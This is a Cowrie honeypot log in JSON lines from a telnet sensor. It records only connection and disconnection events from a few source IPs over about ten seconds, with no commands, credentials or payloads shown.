{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":48482,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74eb5f480db","protocol":"telnet","message":"New connection: 173.249.44.46:48482 (159.203.135.109:23) [session: a74eb5f480db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.117266Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":56250,"dst_ip":"159.203.135.109","dst_port":23,"session":"51dde7112a19","protocol":"telnet","message":"New connection: 46.101.32.143:56250 (159.203.135.109:23) [session: 51dde7112a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.202577Z"}
{"eventid":"cowrie.session.closed","duration":30.777974843978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.220414Z","src_ip":"85.208.100.77","session":"bd5ae5a19748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56679940223694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.225002Z","src_ip":"46.101.32.143","session":"2b79215e53d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":41990,"dst_ip":"159.203.135.109","dst_port":23,"session":"6295cdf8580a","protocol":"telnet","message":"New connection: 82.163.78.83:41990 (159.203.135.109:23) [session: 6295cdf8580a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.321605Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59404,"dst_ip":"159.203.135.109","dst_port":23,"session":"7113231dc9de","protocol":"telnet","message":"New connection: 85.208.100.77:59404 (159.203.135.109:23) [session: 7113231dc9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.325831Z"}
{"eventid":"cowrie.session.closed","duration":31.188276052474976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.460920Z","src_ip":"149.102.133.101","session":"246a70749583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":49208,"dst_ip":"159.203.135.109","dst_port":23,"session":"078ff205474f","protocol":"telnet","message":"New connection: 173.249.44.46:49208 (159.203.135.109:23) [session: 078ff205474f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.641455Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33710,"dst_ip":"159.203.135.109","dst_port":23,"session":"514aa6c3db43","protocol":"telnet","message":"New connection: 37.187.24.227:33710 (159.203.135.109:23) [session: 514aa6c3db43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.829363Z"}
{"eventid":"cowrie.session.closed","duration":30.397836446762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.043210Z","src_ip":"82.163.78.83","session":"6544933461f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49116063117981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.081533Z","src_ip":"82.163.78.83","session":"d1b718ed8262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647626399993896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.120306Z","src_ip":"149.102.133.101","session":"4babe5bbfa65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":43194,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e635c3a14d0","protocol":"telnet","message":"New connection: 82.163.78.83:43194 (159.203.135.109:23) [session: 2e635c3a14d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.189418Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":43200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e723f07b614f","protocol":"telnet","message":"New connection: 82.163.78.83:43200 (159.203.135.109:23) [session: e723f07b614f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.194583Z"}
{"eventid":"cowrie.session.closed","duration":30.441081523895264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.202852Z","src_ip":"46.101.32.143","session":"e3e32017e2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b2fabc4f1cf","protocol":"telnet","message":"New connection: 37.187.24.227:34524 (159.203.135.109:23) [session: 0b2fabc4f1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.226659Z"}
{"eventid":"cowrie.session.closed","duration":30.926581382751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.257537Z","src_ip":"46.101.32.143","session":"d5d2a8396afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":43422,"dst_ip":"159.203.135.109","dst_port":23,"session":"75cdbdceedd4","protocol":"telnet","message":"New connection: 82.163.78.83:43422 (159.203.135.109:23) [session: 75cdbdceedd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.329748Z"}
{"eventid":"cowrie.session.closed","duration":31.090601444244385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:42.549489Z","src_ip":"168.119.91.149","session":"378857a778b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244657039642334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.080981Z","src_ip":"37.187.24.227","session":"d6ce41882583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77910828590393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.115640Z","src_ip":"85.208.100.77","session":"a0b9c936a9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":44454,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde6f9e48e0a","protocol":"telnet","message":"New connection: 82.163.78.83:44454 (159.203.135.109:23) [session: cde6f9e48e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.127933Z"}
{"eventid":"cowrie.session.closed","duration":31.066749334335327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.159310Z","src_ip":"149.102.133.101","session":"cbe24a7b4296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.601826190948486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.202458Z","src_ip":"81.30.157.18","session":"48ceaca84bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37160,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9816bf60d47","protocol":"telnet","message":"New connection: 37.187.24.227:37160 (159.203.135.109:23) [session: a9816bf60d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.351936Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":34948,"dst_ip":"159.203.135.109","dst_port":23,"session":"e433d64d8cef","protocol":"telnet","message":"New connection: 85.208.100.77:34948 (159.203.135.109:23) [session: e433d64d8cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.366241Z"}
{"eventid":"cowrie.session.closed","duration":120.00118708610535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.667059Z","src_ip":"138.0.214.217","session":"3edcbb24f32d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45498,"dst_ip":"159.203.135.109","dst_port":23,"session":"1940fbe836b6","protocol":"telnet","message":"New connection: 82.163.78.83:45498 (159.203.135.109:23) [session: 1940fbe836b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:43.893515Z"}
{"eventid":"cowrie.session.closed","duration":30.835784435272217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.048867Z","src_ip":"82.163.78.83","session":"1f59f9b6dc9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92931318283081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.053932Z","src_ip":"37.187.24.227","session":"ce49ad5e5d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":37585,"dst_ip":"10.17.0.5","dst_port":23,"session":"015c99f54c0b","protocol":"telnet","message":"New connection: 138.0.214.217:37585 (10.17.0.5:23) [session: 015c99f54c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.167892Z"}
{"eventid":"cowrie.session.closed","duration":30.810519218444824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.175352Z","src_ip":"85.208.100.77","session":"a54fe045dd8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"703f6378adc5","protocol":"telnet","message":"New connection: 81.30.157.18:54774 (159.203.135.109:23) [session: 703f6378adc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.280127Z"}
{"eventid":"cowrie.session.closed","duration":30.929869651794434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:44.400653Z","src_ip":"206.189.139.22","session":"2d74f0f759b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54780,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfcdb7b89d9e","protocol":"telnet","message":"New connection: 81.30.157.18:54780 (159.203.135.109:23) [session: cfcdb7b89d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.025526Z"}
{"eventid":"cowrie.session.closed","duration":30.815901279449463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.066656Z","src_ip":"81.30.157.18","session":"d44768b8a069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689546823501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.124455Z","src_ip":"85.208.100.77","session":"bd6ccba6c096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":41442,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ea02906026","protocol":"telnet","message":"New connection: 37.187.24.227:41442 (159.203.135.109:23) [session: 46ea02906026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.202795Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42042,"dst_ip":"159.203.135.109","dst_port":23,"session":"548d0c8b402b","protocol":"telnet","message":"New connection: 37.187.24.227:42042 (159.203.135.109:23) [session: 548d0c8b402b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.407857Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54792,"dst_ip":"159.203.135.109","dst_port":23,"session":"921d59c354de","protocol":"telnet","message":"New connection: 81.30.157.18:54792 (159.203.135.109:23) [session: 921d59c354de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:45.853359Z"}
{"eventid":"cowrie.session.closed","duration":30.852915048599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.045233Z","src_ip":"37.187.24.227","session":"81181115ca68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.265799045562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.050863Z","src_ip":"81.30.157.18","session":"1abbb0a24b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656747102737427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.063053Z","src_ip":"149.102.133.101","session":"562ed0ddd86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"2436ae8bcf5a","protocol":"telnet","message":"New connection: 81.30.157.18:54808 (159.203.135.109:23) [session: 2436ae8bcf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.182188Z"}
{"eventid":"cowrie.session.closed","duration":31.007712602615356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.205470Z","src_ip":"149.102.133.101","session":"fabcf927267e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ee36a8e348","protocol":"telnet","message":"New connection: 81.30.157.18:54820 (159.203.135.109:23) [session: c8ee36a8e348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.337835Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40802,"dst_ip":"159.203.135.109","dst_port":23,"session":"b309196d66b2","protocol":"telnet","message":"New connection: 85.208.100.77:40802 (159.203.135.109:23) [session: b309196d66b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:46.354567Z"}
{"eventid":"cowrie.session.closed","duration":30.715898752212524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.046510Z","src_ip":"81.30.157.18","session":"0064e9255c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94897723197937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.052040Z","src_ip":"149.102.133.101","session":"b078d1d9ff73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42122,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca61f8dc9cc5","protocol":"telnet","message":"New connection: 85.208.100.77:42122 (159.203.135.109:23) [session: ca61f8dc9cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.060180Z"}
{"eventid":"cowrie.session.closed","duration":30.86457657814026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.141642Z","src_ip":"85.208.100.77","session":"1baaafb5eaef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768730401992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.147056Z","src_ip":"85.208.100.77","session":"c38b9c026728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895676612854004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.209939Z","src_ip":"149.102.133.101","session":"88aa3dceaae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d884fd82984a","protocol":"telnet","message":"New connection: 46.101.32.143:35422 (159.203.135.109:23) [session: d884fd82984a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.510313Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54826,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a37761bdbf","protocol":"telnet","message":"New connection: 81.30.157.18:54826 (159.203.135.109:23) [session: 84a37761bdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:47.554836Z"}
{"eventid":"cowrie.session.closed","duration":30.857146501541138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:48.051047Z","src_ip":"149.102.133.101","session":"e66d9af10934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670462131500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:48.096622Z","src_ip":"37.187.24.227","session":"8be44734e7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":51510,"dst_ip":"159.203.135.109","dst_port":23,"session":"7161d916c677","protocol":"telnet","message":"New connection: 82.163.78.83:51510 (159.203.135.109:23) [session: 7161d916c677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:48.542200Z"}
{"eventid":"cowrie.session.closed","duration":30.682542085647583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.041454Z","src_ip":"82.163.78.83","session":"cf3e3863b1ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834059715270996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.045969Z","src_ip":"46.101.32.143","session":"3bb09ce2149c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64635467529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.058340Z","src_ip":"37.187.24.227","session":"835c03bc983c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685724020004272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.076061Z","src_ip":"81.30.157.18","session":"0f6be63a7675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75626277923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.107423Z","src_ip":"82.163.78.83","session":"156adb1f6325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":57448,"dst_ip":"159.203.135.109","dst_port":23,"session":"4289a62033c6","protocol":"telnet","message":"New connection: 149.102.133.101:57448 (159.203.135.109:23) [session: 4289a62033c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.161340Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":37250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ff59e27830","protocol":"telnet","message":"New connection: 46.101.32.143:37250 (159.203.135.109:23) [session: b0ff59e27830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.640322Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":57464,"dst_ip":"159.203.135.109","dst_port":23,"session":"87dd29628d72","protocol":"telnet","message":"New connection: 149.102.133.101:57464 (159.203.135.109:23) [session: 87dd29628d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.688818Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"028bd8fcdb89","protocol":"telnet","message":"New connection: 37.187.24.227:51846 (159.203.135.109:23) [session: 028bd8fcdb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:49.788459Z"}
{"eventid":"cowrie.session.closed","duration":30.75700616836548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.053040Z","src_ip":"81.30.157.18","session":"43a04052d82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393821716308594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.083372Z","src_ip":"173.249.44.46","session":"653bf43ccc39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46028161048889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.099431Z","src_ip":"81.30.157.18","session":"9df02b1d2f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575966119766235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.260235Z","src_ip":"149.102.133.101","session":"2cfc1f7a9759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":60532,"dst_ip":"159.203.135.109","dst_port":23,"session":"669e1704b51e","protocol":"telnet","message":"New connection: 173.249.44.46:60532 (159.203.135.109:23) [session: 669e1704b51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.293544Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":53236,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e7eb87dc6e","protocol":"telnet","message":"New connection: 37.187.24.227:53236 (159.203.135.109:23) [session: e7e7eb87dc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.326415Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1c10f40ab6","protocol":"telnet","message":"New connection: 82.163.78.83:53712 (159.203.135.109:23) [session: 2c1c10f40ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.403856Z"}
{"eventid":"cowrie.session.closed","duration":31.71210026741028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:50.964586Z","src_ip":"149.102.133.101","session":"288e3236a79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301605701446533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.051742Z","src_ip":"46.101.32.143","session":"d3ad0d494cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236877918243408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.057029Z","src_ip":"149.102.133.101","session":"e777e2beb5f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.166993141174316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.083139Z","src_ip":"149.102.133.101","session":"fc7132f21baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365310668945312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.120707Z","src_ip":"85.208.100.77","session":"6d8c06ec5f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247657299041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.148749Z","src_ip":"81.30.157.18","session":"582d42611f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":33568,"dst_ip":"159.203.135.109","dst_port":23,"session":"e320f1b42513","protocol":"telnet","message":"New connection: 173.249.44.46:33568 (159.203.135.109:23) [session: e320f1b42513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.225942Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":57468,"dst_ip":"159.203.135.109","dst_port":23,"session":"a90a3a7aaac9","protocol":"telnet","message":"New connection: 149.102.133.101:57468 (159.203.135.109:23) [session: a90a3a7aaac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.234617Z"}
{"eventid":"cowrie.session.closed","duration":31.227579355239868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.249601Z","src_ip":"81.30.157.18","session":"68834080ed5b","protocol":"telnet"}
